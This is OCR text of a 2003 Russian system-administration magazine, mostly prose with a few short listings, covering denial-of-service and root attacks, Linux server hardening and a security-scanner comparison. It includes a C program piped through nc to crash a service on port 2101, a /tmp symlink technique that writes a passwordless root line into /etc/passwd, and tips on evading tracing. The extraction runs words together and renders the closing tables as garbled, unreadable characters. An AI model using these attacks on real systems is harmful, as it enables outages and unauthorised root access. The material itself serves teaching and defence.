Для лучшего понимания рассмот-рим всё это на конкретном примере –обращение к почтовому сервису кли-ента (client) на сервер (victim). Есте-ственно, что, для того чтобы можнобыло воспользоваться услугами како-го-либо сервиса/демона, необходимо,чтобы была готовность обслуживать –

то есть необходимо, чтобы программапрослушивала какой-либо порт на на-личие «желающих подключиться».Когда таковые находятся, происходитследующее:

Клиент создаёт определённыеTCP-пакеты, из которых заголовокпервого всегда должен быть с уста-новленным битом SYN и без битаACK. В последующих пакетах всёровно наоборот. Итак, далее серверотвечает (если отвечает) на первыйпакет клиента пакетом с установлен-ным битом ACK – ответом на полу-чение пакета и своим SYN-запросомсинхронизации. При получении это-го пакета от сервера, содержащегоподтверждение и запрос, клиент пе-редает собственное подтверждаю-щее сообщение. Только теперь со-единение считается открытым; допоследнего момента это было полу-открытое соединение.

В описываемой атаке использует-ся именно эта первая стадия. На ма-шине атакующего создаётся большоеколичество пакетов с установленнымSYN-битом и посылается на сервер.В результате почтовый демон/сервисбудет какое-то время занят только об-работкой поступающих пакетов. Да-лее результат в основном зависит отнастроек сервера и других вещей. Втом случае если пакеты посылалисьот «лица» одной существующей всети машины, то почтовик разберёт-ся достаточно быстро, так как «под-ставленная» машина уже на третьемэтапе вышеописанной цепочки зая-вит, что она «знать не знает» ни о ка-ких таких запросах, и соединение настороне сервера будет обнулено. Втом же случае если сообщения будутпосылаться от «лица» несуществую-щей в сети машины, то серверу при-дётся ждать какое-то время никогдане придущего ответа на свой запрос.Таким образом, ресурсы будут заня-ты более длинное время.

Наибольшей «популярностью»пользуются программы, которые самигенерируют адреса «подставных» ма-шин и посылают запросы как бы отних. Результат – выведение атакуе-мой машины на более длительныйпромежуток времени. В это время сvictim возможны два варианта: в томслучае если администратор поставилограничения на количество возмож-

ных запусков программы, то ничегосмертельного для системы не случит-ся, случится только то, что так назы-ваемые законные пользователи несмогут воспользоваться услугами по-чтового сервера (вплоть до того мо-мента, пока не будут обработаны всезапросы, посылаемые с client наvictim). В том случае если админист-ратор по доброте душевной или покаким другим причинам такого огра-ничения не поставил, то всё будетпрозаичнее – так как ресурсы маши-ны какое-то время останутся «захва-ченными», то сводного места для дей-ствий у системы будет оставаться всёменьше. В конечном итоге может про-изойти полное исчерпание ресурсовсистемы, которое приведёт к тому, чтозапросы будут обрабатываться всёмедленнее и медленнее. Все опера-ции могут быть приостановлены, покане будут обработаны все поступив-шие запросы. Такая ситуация, кстати,не будет вечной. В конечном итогемашина может уже игнорировать по-ступающие TCP-пакеты. Одним из не-плохих методов отслеживания состо-яния системы может служить её пин-гование. Только для получения отно-сительно точного результата необхо-димо производить это либо с другоймашины, чтобы загруженность кана-ла машины атакующего не сказыва-лась на результате, либо следить затем, чтобы загруженность канала несильно влияла на время полученияответа от системы. Далее может су-ществовать два пути – либо надеем-ся на создание непредусмотреннойситуации и, соответственно, на крахсистемы, либо ждём пока системаобработает всё, что ей выдали.

Второй тип удалённых D.o.S.-атакреализуется благодаря ошибкам впрограммном обеспечении. Уровеньреализации можно поделить на два:уровень конкретной программы и уро-вень операционной системы.

На уровне конкретной программыобычно эксплуатируются ошибки припрограммировании. Наиболее попу-лярными из них на данный момент яв-ляются ошибки переполнения буфе-ра (buffer overflow). Механизм дей-ствия достаточно прост, для большейнаглядности рассмотрим его на конк-ретном примере. Пусть существуетнекоторая программа, которая про-

Page 38: 002 Системный Администратор 01 2003

36

безопасность

слушивает, скажем, порт 2101, и взадачи которой входит ожидание ка-кой-то строки, которая при полученииотсылается, скажем, на root@localhost(суперпользователю на локальноймашине). Программа вроде полезная,но проблема у ней следующая: под бу-фер, в который помещается получае-мая строка, отведено всего 32 768бит. Скажем, какой-то программист,просматривая эту программу, обнару-жил эту ошибку. Дальнейшая логикадействий проста – ей посылается 32 768плюс ещё сколько-то бит. В програм-ме такой поворот событий не предус-мотрен, а потому она аварийно завер-шается. При этом происходит то са-мое переполнение буфера, и появля-ется возможность немного поиграть-ся с машиной, на которой запущенаэта «дырявая» программа. Обычножелаемым действием является вызовкомандного интерпретатора. Приви-легии, с которыми этот интерпретаторбудет запущен, напрямую зависят оттого, с какими привилегиями «бега-ла» наша испытуемая. Вот, собствен-но, и вся история. Впрочем, это всётак легко только на словах, так какзачастую необходимо возиться с ре-гистрами процессора. Так как сейчасмы рассматриваем только удалённуюатаку на отказ в обслуживании, тодостаточно будет сказать, что, длятого чтобы просто «свалить» програм-му, достаточно ей просто послать,скажем, 32 770 бит. А вот это уже мож-но сделать, не особо копаясь в про-цессоре, немножко модифицировавпрограммку char_echo, и связав её с“nc” (net cat):

Всё, что называется весьма проза-ично, не требует особых мудрствова-ний в программировании. Потом мож-но проверить работоспособность сер-вера, просто подключившись напря-мую к порту. Если соединения не бу-дет, то это значит, что демон/сервис

на какое-то время оказался в небытии.Это что касаемо атак на уровне

программ; на уровне операционнойсистемы всё немножко интереснее.Задача заключается в том, чтобылибо ядро, либо какой-нибудь серьёз-ный модуль ядра не смог обработатьситуацию и привёл либо к “kernelpanic” (панике ядра – *nix системы),либо к “The blue screen of death” (си-нему экрану смерти – соответствен-но Windows-системы). Итог – автома-тическая перезагрузка, полное зави-сание системы, приостановка работы,недоступность сети – что называет-ся, на выбор. В общем и целом опять-таки законные пользователи не могутвоспользоваться услугами серверакакое-то время. Зачастую такие ата-ки реализуются на ошибке в обработ-ке протокола в общем и пакетов в ча-стности. Самый банальный и немалоизвестный пример – это здравствую-щая и поныне программа WinNuke.Программ, подобных этой, немало, даи существуют они не только для из-любленной народом ОС Windows. Всписок уязвимых попадают и такиеоперационные системы как Linux иOpenBSD.

Итак, относительно вывода систе-мы из строя удалённо – всё. Теперьстоит рассказать ещё немного проприём, который может оказаться по-лезным в сочетании с чем-нибудь дру-гим. Речь идёт об описанной ранеепроцедуре засорения дискового про-странства системы. Конечной цельюможет являться невозможность сис-темы протоколировать действия, ко-торые с ней производятся. Можно так-же ориентироваться не на систему, ана человека – посылая большое ко-личество фальшивых запросов, полу-чим долгую обработку или даже иг-норирование происходящих событий,имеющих малое отношение к дей-ствительности. Оба варианта требу-ют большой пропускной способностиканала атакующего. Путей для реали-зации «плана максимум» относитель-но немало: любой сервис, к которомуможно получить доступ, является по-тенциальной мишенью. Например, этоможет быть достаточно широко рас-пространённый на многих машинахвеб-сервер, ведь каждое обращениепротоколируется, и потому можно, на-пример, через анонимный прокси-сер-

вер посылать уйму запросов. Лучшевсего это делать через разные про-кси-серверы, для того чтобы былосложнее вычислить. В том случаеесли приблизительно известно диско-вое пространство, отведённое под си-стему (например, при наличии локаль-ного доступа свободное пространствоузнаётся очень легко), то узнаётся, ка-кой веб-сервер работает на атакуе-мой системе, приблизительно высчи-тывается пространство, которое тра-тится после каждой записи, и впе-рёд… Также можно использовать лю-бые средства протоколирования (на-пример, такие вещи как tcpspy,icmplog,…). Однако же, для этого не-обходим мощный канал связи.

Теперь: как с этим бороться. От-носительно первой описанной атаки,SYN flood, однозначных методов борь-бы нет, особенно если «подставляет-ся» не одна машина, а целая серия.Полное закрытие доступа может от-резать законных пользователей отмашины (иногда, кстати, может пре-следоваться именно эта цель, ведькаждый потенциальный покупатель,который не смог обратиться в нужноевремя к интернет-магазину можетуйти к конкуренту, и тем самым ата-куемый магазин будет терять при-быль), но и смотреть, как некто пыта-ется вывести машину из строя, – несамое лучшее занятие. В общем, этокаждый должен решать для себя.Единственное, что можно сказатьточно, так это то, что лучше ограни-чивать программы в ресурсах, пустьи очень большой цифрой, но всё жеограничивать. Выяснение IP-адресав большинстве случаев будет невоз-можно, и достать злоумышленникабудет очень сложно. Разработки взащите от подобного рода атак ве-дутся, но распространения практи-чески не имеют.

Борьба с атаками второго родасводится к регулярному обновлениюпрограммного обеспечения, дабыбыли исправлены обнаруженныеошибки в системе и/или программе.

И относительно последнего трю-ка – здесь совет всё тот же, что и взащите от локальных D.o.S.-атак, инебольшое «сетевое» дополнение –не надо вешать на свою машинуслишком много следящих средств, инеплохо бы позаботиться о том, что-

Листинг программы Char_echo.II.c :

#include <stdio.h>main (){int i; /*Объявляем переменную�*/for (i=0; i<=33000; i++) /*Запускаем

цикл на 33000 "заходов"*/printf ("X"); /*И печатаем символ 'X'*/}Листинг go.sh :#!/bin/sh./echo_char | nc victim 2101

Page 39: 002 Системный Администратор 01 2003

37№1(2), январь 2003

безопасность

бы их журналы располагались в не-зависимых от системы местах.

Итак, с атаками на отказ в обслу-живании в общем и целом разобра-лись, теперь разберёмся с атаками наполучение прав суперпользователя наатакуемой машине.

Local root attackНаверное, можно точно сказать, чтоатаки на получение прав root илиAdministrator гораздо более опасны,так как атакующий получает полныйдоступ к машине, и может сделать всёчто угодно – начиная от возможногоудаления данных и заканчивая так на-зываемой компрометацией системы(проведение других атак с этой маши-ны). Здесь также есть деление на ло-кальное и удалённое получение необ-ходимых прав.

Начнём, пожалуй, с локального ва-рианта, так как зачастую он наиболеелегко реализуем. Связанно это с тем,что при локальном доступе у пользо-вателя гораздо больше возможнос-тей найти «дырявую» программу. Адалее – всё то же самое, что и опи-сывалось ранее для удалённых атакна отказ в обслуживании – наиболеелюбимым способом заставлять про-грамму делать не то, что ей «поло-жено», является выход за пределыотведенного буфера. В том случаеесли программа имеет так называе-мый SIUD-бит, и если пользовательвообще имеет право на запуск этойпрограммы, то её запуск произойдетот лица суперпользователя. Эти про-граммы являются наиболее «лако-мым» кусочком для поиска дырок.Существует же, однако, и другой родпрограмм, дающих права суперполь-зователя – те, которые уже работаютпри запуске системы, и которым «поработе» необходим доступ к любомуместу операционной системы. Напри-мер, это может быть почтовый демон.И алгоритм работы здесь точно такойже – переполнение буфера.

Впрочем, в работе локально до-бавляются ещё и другие прелестижизни – эта атака использует небе-зопасное создание временных фай-лов. Для лучшего понимания опять-таки рассмотрим пример: пусть суще-ствует база данных, которая во вре-мя запуска создаёт временный файл/tmp/NameOfFile.some_addition. Зача-

стую все, что находится до точки – неизменяется от запуска к запуску, а вотто, что после точки – должно быть всёвремя и, что немаловажно, уникаль-ным. Наша программа будет иметьSUID-бит и создавать временныйфайл по следующей схеме – /tmp/NameOfFile.PID, где PID – это, соот-ветственно, номер процесса. Вполневозможно, что такой файл будет уни-кальным, однако его имя будет пред-сказуемо, и в этом заключается глав-ная ошибка. Директория /tmp обыч-но разрешает запись в неё любыхфайлов, любого пользователя, и по-тому можно создать символическуюссылку на файл, который нужно пе-реписать, но который имеет «недости-жимые» для нас права доступа. Кро-ме того, пусть наша база данных за-писывает в файл аргументы, с кото-рыми она была вызвана. Тогда дела-ем просто – создаём ссылку, ска-жем, с /etc/passwd на / tmp/NameOfFile.Guesed_PID. Далее вы-зываем нашу базу данных с парамет-рами root::0:0:root:/root:/bin/sh. Допус-тим, по причине неправильных аргу-ментов программа завершается, ночто оказывается в файле /etc/passwd?Правильно – наша запись, которая по-зволяет заходить любому пользовате-лю в качестве суперпользователя безпароля. Кстати, неплохо было бы сде-лать копию переписываемого файла,чтобы не было сильно заметно, чточто-то произошло (благо /etc/passwdчитаем любым пользователем). Вот ивсе.

Remote root attackПосле краткого экскурса по локаль-ному получению прав суперпользова-теля перейдём к гораздо более опас-ным атакам – получение root удалён-но. Алгоритм здесь похож (и, можносказать, является доведённым доума) на алгоритм D.o.S.-атак, толькос той разницей, что теперь необходи-мо не просто выбить программу, азаставить её выполнить необходимыйкод. Естественно, желательно, чтобыэта программа работала от имени су-перпользователя. В таком случае, приприменении эксплоита, человек полу-чает полноценный шелл (shell), чтоназывается, не выходя из дома.

Здесь нет особых премудростей (виспользовании «дырок» по готовому

шаблону), необходимо «просто» най-ти машину с уязвимой программой.Для этого даже существуют специаль-ные сканеры. Алгоритм их работыпрост – либо генерируется случайныйIP-адрес, либо его задаёт пользова-тель. Далее этот адрес пингуется; втом случае если машина отвечает,происходит подключение к опреде-лённому порту. Если все эти шаги про-ходят удачно, то в зависимости от ис-комого сервиса либо посылается ка-кая-нибудь строка, либо нет. В любомслучае «грабится» (grab – захваты-вать) так называемый банер (то, чтовыдаёт программа подключившемусяклиенту) и анализируется версия про-граммного обеспечения (котораяобычно выводится в банере). Если онаудовлетворяет необходимым услови-ям – то всё хорошо, адрес машины за-носится в лог-файл (log file), и сканерпереходит к следующему адресу. Втом случае если происходит провалхотя бы на одной стадии, то адрес от-вергается и берётся следующий. Су-ществует ряд людей, которые либопредоставляют подобные сканерычерез веб-доступ (то есть для этогосовершенно не нужно что-либо знатьи иметь специального образования),нередко ещё рядом можно найти ин-струкцию «по применению» и всё не-обходимое программное обеспече-ние. Другие люди занимаются подоб-ным сканированием со своих соб-ственных машин и в большинстве слу-чаев далеко не для того, чтобы полу-чив root shell, сразу же послать пись-мо администратору с тем, что его ма-шина уязвима, а с несколько другимицелями. Если оставить споры о том,как можно называть таких людей, томожно сказать, что это своего родасанитары леса.

Безопасность сервероворганизации (реализациятребований безопасностина примере ОС Linux)На данный момент в качестве сервер-ной платформы всё чаще и чаще вы-бор останавливается на операцион-ной системе Linux, нередко забываяо том, что в качестве одного из важ-нейших показателей работы сервера,помимо стабильности, является безо-пасность.

В большинстве случаев установка

Page 40: 002 Системный Администратор 01 2003

38

безопасность

по умолчанию (за исключением неко-торых специализированных дистрибу-тивов) оставляет большое количествосервисов, доступных «всему миру», акаждый такой сервис – это потенци-альная дыра в безопасности сервера,поскольку новые проблемы безопас-ности обнаруживаются достаточно ча-сто и регулярно. Кроме небезопасныхсервисов, нужно также помнить и обезопасности всех остальных основ-ных компонент сервера, каковыми вданном случае являются ядро систе-мы и правила безопасности науровне сетевых протоколов. Эти ас-пекты работы сервера и будут осве-щены в этой статье.

Ядро системыОперационная система Linux являет-ся плодом труда людей, а им, какизвестно, свойственно ошибаться,даже в коде ядра. Отсюда первая уг-роза безопасности – ошибки в ядре си-стемы. Подобные ошибки обнаружива-ются не столь часто, сколь ошибки вовсём остальном программном обеспе-чении, однако же такое бывает. Защи-та здесь одна (одинаковая для всех по-добных проблем) – постоянное отсле-живание информации безопасности(например, неплохим источником ин-формации, помимо списка рассылки отпроизводителя дистрибутива, являет-ся сайт www.securityfocus.com и егосписки рассылки) и показания сервера.

Впрочем, существуют патчи наядро, которые позволяют повыситьзащищённость системы в целом иядра в частности. Основное вниманиев таких патчах (в том числе кумуля-тивных) уделяется возможности про-тивостоять системе от общих атак напрограммы с ошибкой на переполне-ние буфера, от атак на программы снекорректным созданием временныхфайлов и также на возможностьуменьшить количество информации,которую может получить атакующийо системе (http://www.openwall.com/).

Также существуют патчи, специа-лизирующиеся на сетевом аспекте ра-боты ядра ОС. В их задачи входитвстраивание функции защиты от ска-нирования в ядро системы (http://www.lids.org), а также функции зат-руднения определения версии ОСсредствами таких сетевых сканеров,как nmap.

При объединении всех этих пат-чей получается ядро системы, кото-рое самостоятельно сможет предох-ранять систему от большинства ти-пов известных атак: атаки на пере-полнение буфера, атаки на програм-мы с неправильной работой с вре-менными файлами, сетевое скани-рование машины с целью определе-ния открытых портов и версии опе-рационной системы.

Сетевые сервисыВ большинстве случаев, по непонят-ным для автора причинам, на«свежеустановленном» сервере поумолчанию запущены практическивсе возможные сервисы (например,совершенно не нужный на сегодняш-ний день 7-ой порт, сервис echo).

Практически каждый день нахо-дятся новые ошибки программирова-ния в программном обеспечении. Втом случае если будет найдена ошиб-ка в сервисе, работающем на серве-ре, то через некоторое (не очень боль-шое) время можно будет ожидать же-лающих скопрометировать сервер(так как, например, ошибкина переполнение буфера, дают воз-можность выполнить любой код с пра-вами сервера, которые нередко естьправа суперпользователя – root).Защититься от таких проблем можно:во-первых, регулярно отслеживая со-бытия безопасности (и опять жеwww.securityfocus.com будет, пожа-луй, самым авторитетным и полнымисточником информации); во-вторых,немного «подковав» ядро системы(различными патчами безопасности,как описано выше); и в-третьих, про-сто используя серверы, которые пи-шутся с большой осторожностью и сучётом требований безопасности, нуи конечно же, не используя ненужныесервисы.

Начнём, пожалуй, с ненужных сер-висов. Задачи, конечно, у каждогосервера могут быть специфичными,но всё же можно сказать, что в боль-шинстве случаев ненужными и в чём-то просто опасными являются порты(с соответствующими сервисами) спервого по девятнадцатый включи-тельно. Какие-то из них могут быть по-лезными, но большинство из них сей-час не используется. Не стоит откры-вать без особых причин и такие пор-

ты как 37 (time), 69 (tftp), 79 (finger),111 (sunrpc), 512 (TCP – exec; UDP –biff), 513 (TCP – login; UDP – who), 514(TCP – cmd; UDP – syslog), 517 (talk),525 (timeserver).

Теперь что касается наиболее ча-сто используемых сервисов, а имен-но: HTTP/HTTPS, FTP, Telnet/SSH,SMTP, POP3/IMAP и прокси-серви-сы. Рассмотрим каждый сервис под-робно.

HTTP/HTTPSЗдесь особые вариации отсутствуют:на *nix платформах безгранично вла-ствует Web-server Apache. Серверэтот в особых проблемах с безопас-ностью замечен не был, за исключе-нием, может быть, настройки по умол-чанию (в каковой присутствуют два неочень приятных для администратораскрипта). Да и работает этот серверобычно от пользователя с минималь-ными правами в системе (идеальныйвариант – вообще для каждого сер-вера/демона и для Apache в том чис-ле – выделить своего отдельногопользователя с непересекающимисягруппами других сервисов и пользо-вателей).

FTPЗдесь ситуация уже не так однознач-на: не столь редко, сколько хотелосьбы можно встретить на дистрибутивепо умолчанию демон WU-FTP, кото-рый всем вроде неплох, но вот по ко-личеству «дырок» среди себе подоб-ных, он, пожалуй, безусловный лидер.В качестве альтернатив, написанныхс учётом требований безопасности,можно предложить ProFTP, BSDFTPD. Стоит заметить, что сам посебе FTP-протокол небезопасен, очём подробнее можно прочитатьздесь http://www.security.nnov.ru/articles/sacerdote.asp.

Telnet/SSHОба вышеобозначенные протоколаиспользуются для удалённого досту-па к машине. Относительно безопас-ности: в реализациях обоих протоко-лов были серьезные проблемы (на-пример, remote root access через льви-ную долю реализаций протоколаtelnet), однако частота появлений та-ких дырок достаточно низка.

Недостаток telnet-протокола в ос-

Page 41: 002 Системный Администратор 01 2003

39№1(2), январь 2003

безопасность

новном заключается в том, что при на-личии возможности прослушиваниялинии (sniffing), можно восстановитьвсю сессию, включая введенные имяпользователя и пароль. Существуютреализации этого протокола с шиф-рованием всей введенной информа-ции, но тогда теряется то преимуще-ство, что telnet-клиенты есть практи-чески во всех операционных систе-мах, да и гораздо лучше с этим справ-ляется протокол ssh.

SSH изначально проектировалсякак замена telnet, а потому учитыва-ет все его недостатки и, кроме того,добавляет большое количество по-лезных возможностей, а именно: пол-ное шифрование сеанса, сжатие ин-формации (вещь весьма полезная длядоступа к серверу с dial-up соедине-ний), а также возможность выступатьпосредником сетевого уровня междуприложениями.

SMTPС самим по себе протоколом проблемособенных нет (тем более, чтосуществует и его реализация с шиф-рованием информации), единствен-ная проблема, обычно связанная сфункцией отправки почты сервера –это сам демон – в большинстве слу-чаев это сервер sendmail. В прошломэтот сервер имел, пожалуй, самуюбогатую родословную по количествуошибок. Сейчас все (или большин-ство) эти проблемы похоже что уст-ранены, но для использования на сер-вере всё же можно посоветовать по-чтовый клиент qmail (http://cr.yp.to/),неплохо справляющийся со своимифункциями и не имеющий (на данныймомент) проблем с безопасностью.

POP3/IMAPЗдесь практически всё так же, как и сSMTP-протоколом, и в качестве сер-вера и здесь можно посоветовать всётот же пакет qmail, куда входит и кли-ент для POP3.

Proxy-сервисыЗдесь выбор, по большому счёту,невелик, и его приходится делатьмежду Squid, Oops и модулем длясервера Apache. Если всё же оста-навливаться на специализирован-ных для выполнения функций про-кси-сервера программах, то остаёт-

ся выбирать между Squid и Oops.Squid-сервер, несомненно, весьма

мощный, с большим количествомвозможностей, однако по параметрамбезопасности выгоднее смотритсясервер Oops. Этот сервер уже давноне имел проблем безопасности (по-скольку написан, как все описывае-мые здесь программы, с учётом тре-бований безопасности), да и по по-треблению системных ресурсов онвыигрывает у Squid без уменьшениявозможностей и качества работы.

Безопасность на сетевомуровнеКроме того что на сервере установ-лено специальным образом «пропат-ченное» ядро, безопасные сетевыесервисы, не помешает ещё озаботить-ся и безопасностью на уровне самогопротокола TCP/IP, для чего обратим-ся к файрволу, стандартно идущемус системой (ниже будут даны прави-ла ipchains, для ветки ядер 2.2.x).

На данный момент в самом ядреуже есть функции, предельно затруд-няющие сканирование системы, опре-деление открытых портов и версииоперационной системы, с помощьюфайрвола можно будет уже более точ-но откорректировать наши правилабезопасности и ограничить доступ кнекоторым сервисам.

Хорошим началом можно считатьправило, запрещающее все входящиепакеты; впоследствии уже разреша-ется только то, что необходимо:

Далее даётся разрешение на сво-бодный трафик по «кольцевому» ин-терфейсу lo0 и идёт серия запреща-ющих (точнее фильтрующих) правилдля внутренней сети – запрет явнофальсифицированных пакетов (на-пример, пакеты, пришедшие с внеш-него интерфейса, но имеющие в ка-честве исходного адреса внутренний),и серия для протокола ICMP. По боль-шому счёту, все пакеты этого прото-кола можно запретить, но при грамот-ной фильтрации можно оставить па-кеты третьего, четвёртого, восьмого,одиннадцатого и двенадцатого типов,которые будут полезны для диагнос-тирования ошибок.

Дальше идёт последовательноерасписывание правил для каждогосервиса, что в общем случае будетвыглядеть так (дан вариант для HTTP-сервиса, другие сервисы, напримерDNS, могут иметь более сложнуюструктуру):

Обычно также разрешается нео-граниченный трафик внутри локаль-ной сети и входящие запросы от про-вайдера.

ИтогоС помощью всех вышеописанных ша-гов сетевая часть сервера была сде-лана более безопасной, однако же ос-таётся ещё много проблем: во-первых,постоянное отслеживание событийбезопасности; а во-вторых, локальнаябезопасность, ведь у пользователя,имеющего регистрацию в системе,есть под рукой гораздо большее коли-чество программ, чем только те, чтобыли оставлены администратором длясетевого пользования, а потому и боль-ше шансов на компрометацию систе-мы. Часть проблем локального харак-тера снимается вышеуказанными пат-чами на ядро, ещё часть проблем мож-но снять, удалив всё ненужное с сер-вера (например, первыми кандидата-ми можно назвать всевозможныеигры). Всё остальное нужно толькорегулярно отслеживать, проверяяжурналы регистрации (модифициро-ванное таким образом ядро и грамот-но настроенные программы будут ос-тавлять много интересных записей вжурналах).

ipchains -P input DENYipchains -O output REJECTipchains -P forward REJECT

#clientipchains -A output -i

$EXTERNAL_INTERFACE -p tcp -s $IPADDR$UNPRIVPORTS -d

$ANYWHERE 80 -j ACCEPTipchains -A input -i

$EXTERNAL_INTERFACE -p tcp ! -y -s$ANYWHERE 80 -d $IPADDR

$UNPRIVPORTS -j ACCEPT

#serveripchains -A input -i

$EXTERNAL_INTERFACE -p tcp -s $ANYWHERE$UNPRIVPORTS -d

$IPADDR 80 -j ACCEPTipchains -A output -i

$EXTERNAL_INTERFACE -p tcp ! -y -s $IPADDR80 -d $ANYWHERE

$UNPRIVPORTS -j ACCEPT

где $EXTERNAL_INTERFACE � названиеинтерфейса, обращённого к внешней сети,

$IPADDR � адрес сервера,$ANYWHERE � любой возможный адрес сети,$UNPRIVPORTS � номера непривилегиро-

ванных портов (с 1024 по 65535).

Page 42: 002 Системный Администратор 01 2003

40

безопасность

Введение по-научномуСканер безопасности – это программное средство дляудаленной или локальной диагностики различных элемен-тов сети на предмет выявления в них различных уязвимо-стей, которые могут быть использованы постороннимилицами для доступа к конфиденциальной информации инарушения работы системы вплоть до полной потери дан-ных и работоспособности.

Основными пользователями систем аудита безопас-ности являются профессионалы: сетевые администрато-ры, специалисты по безопасности и т. д. Простые пользо-ватели тоже могут использовать сканеры, но информа-ция, выдаваемая такими программами, как правило, спе-цифична, что ограничивает возможности ее применениянеподготовленным человеком. Сканеры безопасности об-легчают работу специалистов, сокращая суммарно потра-ченное время на поиск уязвимостей.

Введение по-человеческиВ принципе любой сканер безопасности не делает ничего

сверхъестественного: он просто перебирает все имеющи-еся в его базе данных «дырки» (уязвимости) в программ-ном обеспечении и проверяет их наличие на исследуе-мом компьютере. Конечно, эту работу можно сделать ивручную. Только в этом случае возникает три вопроса.! Зачем делать нудную работу вручную, если имеется

средство автоматизации?! Уверены ли вы, что вам известны все уязвимости, ко-

торые следует проверить?! Уверены ли вы, что при ручном анализе вы не допу-

стите неточность и не забудете проверить все, чтоследует?

Эти обстоятельства, на наш взгляд, достаточно убе-дительны для того, чтобы проголосовать за использо-вание сканера, если вас вообще беспокоит информа-ционная безопасность вашей компьютерной сети. Уве-рены, что она вам, конечно, небезразлична. Но как по-казывает практика, и в этом случае у многих остаетсявопрос:

CРАВНЕНИЕ СЕТЕВЫХСКАНЕРОВБЕЗОПАСНОСТИ

ДМИТРИЙ НИКСОВ

ПЕТР РУДЕЛЬ

CРАВНЕНИЕ СЕТЕВЫХСКАНЕРОВБЕЗОПАСНОСТИ

Page 43: 002 Системный Администратор 01 2003

41№1(2), январь 2003

безопасность

Зачем честному человекусканер безопасности?Не секрет, что сканеры безопасности любят использоватьхакеры для поиска «дырок» в сетях своих потенциальныхжертв. Хотя можете быть уверены, ни одной компании-производителю никогда бы не пришло в голову делатьпродукт «под хакеров». Почему – объяснять, конечно, нетребуется. Тем не менее частое использование сканеровв неблаговидных целях остается фактом. Отсюда мы мо-жем вывести первый формальный аргумент в пользу ис-пользования сканера: тем самым вы можете взглянуть насвою сеть глазами потенциального злоумышленника. Этотаргумент, конечно, может показаться достаточно искус-ственным и надуманным, отвлекающим от решения пря-мых задач по обеспечению безопасности сети (настройкесетевых экранов, конфигурированию маршрутизаторов,назначению прав доступа и т. п.). Но это не так, посколь-ку за ним стоят вполне содержательные идеи.

Главная из них заключается в несовершенстве любо-го системного и прикладного программного обеспечения.Какие бы многочисленные программно-аппаратные сред-ства ограничения доступа к информации и компонентамсети вы не использовали, вы никогда не можете быть пол-ностью уверены, что сами эти средства свободны от де-фектов (уязвимостей, «дырок»), которые могут быть ис-пользованы посторонними для нарушения установленно-го порядка доступа (читай – взлома). Поэтому для полно-ценной, надежной системы безопасности сети следует нетолько грамотно планировать ее архитектуру и устанав-ливать то или иное ПО защиты данных, но и проводитьпостоянный мониторинг всего сетевого хозяйства на пред-мет возникающих «дыр».

Именно – возникающих. Уязвимости, по аналогии с жи-выми объектами, имеют свойство возникать и плодитьсядаже в рамках одной отдельно взятой сети, и причин это-му две. Во-первых, специалисты постоянно выявляют всеновые и новые уязвимости в уже существующем ПО. Дотого момента пока уязвимость не была известна, мы мо-жем, хотя и достаточно условно, полагать ее несуществу-ющей. Но после того как она была опубликована, уже нетникакого разумного оправдания игнорировать ее. Другаяпричина «плодовитости» уязвимостей заключается в том,что в компьютерной сети достаточно часто может уста-навливаться новое ПО. А вместе с ним в сети могут воз-никать и новые «дыры».

Из всего сказанного следует достаточно очевидныйвывод: аудит уязвимостей в сети нужен, причем он дол-жен проводиться на регулярной основе. Как бы обреме-нительно это не звучало, но обеспечение информацион-ной безопасности в сети – это не разовое действие, а по-стоянный процесс.

К счастью, имеются сканеры безопасности, позволяю-щие упростить и облегчить этот процесс. Наверное, мы при-вели достаточно аргументов, чтобы оправдать то время,потраченное вами на изучение приведенного ниже анализа.

Качество работы ядраДля сравнения были выбраны пять различных сканеров вразном ценовом диапазоне:

Оговоримся сразу, что сюда вошли не все из наибо-лее известных на рынке продуктов (нет, например, про-дуктов Retina от «eEye Digital Security» и NetRecon от«Symantec»), но выборка, тем не менее, является доста-точно представительной. Кроме того, может возникнутьвопрос о правомерности сравнения коммерческих и бес-платных продуктов. Тут мы хотели бы подчеркнуть, что вэтой части сравнения мы фокусируем внимание на содер-жательной части работы сканеров – как много уязвимос-тей находит тот или иной сканер, как много он дает лож-ных срабатываний (что также достаточно существенно,поскольку требует дополнительного времени на отсевошибочных диагностик). Обсуждение вопросов регуляр-ности обновления и других аспектов поддержки и сопро-вождения мы оставим на потом.

Чтобы сравнивать системы, подобные сканерам бе-зопасности, недостаточно просто их запустить. Коли-чество якобы проверяемых уязвимостей, обилие на-строек, а также размер программы или её внешний видне могут являться критериями для оценки качества со-держательной работы того или иного сканера. Поэтомудля того чтобы создать полноценное представление оработе различных сканеров безопасности, было реше-но провести их сравнительный тест по выявлению уяз-вимостей в семи различных операционных системах,часто используемых, в частности, крупными банками ифинансовыми учреждениями:! Solaris 2.6.1! Windows 2000 Server! Windows XP Professional! Linux RedHat 5.2! Compaq/Tandem Himalaya K2006 (OS D35)! Bay Networks Router! AS/400

Версии тестируемых сканеров (последние доступныена момент проверки):! ISS Internet Scanner 6.2.1 с последними апдейтами! LanGuard 2.0! ShadowSecurityScanner 5.31! XFocus X-Scan v1.3 GUI! XSpider 6.01

Тестирование каждого сканера проводилось по двараза, тем самым исключая нежелательные возможныеошибки, связанные, например, с временной проблемойв сети. Все полученные данные были интегрированы втаблицу 1, показывающую, какая информация была по-лучена тем или иным сканером. Желтым цветом обо-значены уязвимости средней тяжести, которые при оп-ределенных обстоятельствах могут повлечь за собой

������� ������ ���� ������ �����

�������������������� ������������������� ��� ������������������ �����

�������� ������������ �!""��

#�$�%� $&��������

�����������'�(�%��)��

��*����� ����+����������� ����� �������������� ������,�

��%)��������������� �-���.#���

����������� -���.'���)��

��� ���� �""��

/.���� /-)� ��0�����

�����������1-)� �)�(�

��2*���� �� �������

/���%��� 3) ���4��5����)')(�� ���� ������������������ ���������

��"*���� �� �������

Page 44: 002 Системный Администратор 01 2003

42

безопасность

��������������������� ���������������� ������� ���������� �������������

��������������� ��� ��� ��� ���� ���

����������������� � ��� ��� ��� ��� ��

���� ������ �� �� � �� ��

����� ������ �� �� � � �

���� ��������� �� �� � �� ��

����� �������� �� �� �� �� ��

������ �������� �� �� � � �

����� ��������� �� �� � �� ��

������ ��������� �� �� � �� �

����� ���� �� �� �� �� ��

����� �������������������� �� � � �� ��

����� ������ �� �� �� �� ��

����� ����� �� �� �� �� ��

����� ���������� ������ ���������� �������� � �� � �� �

����� ����� �� �� � �� ��

������ ����� � �� � � �

������ ���������� �������� ������������� � �� � � �

� ���� ��������� �� �� � �� �

� ����� ������ �� � � �� �

� ����� �������������������������������� �� � � � �

� ����� �����������������!�������� �� � � � �

� ����� �����������������"����� �� � � � �

������ ��#��� �� �� �� �� �

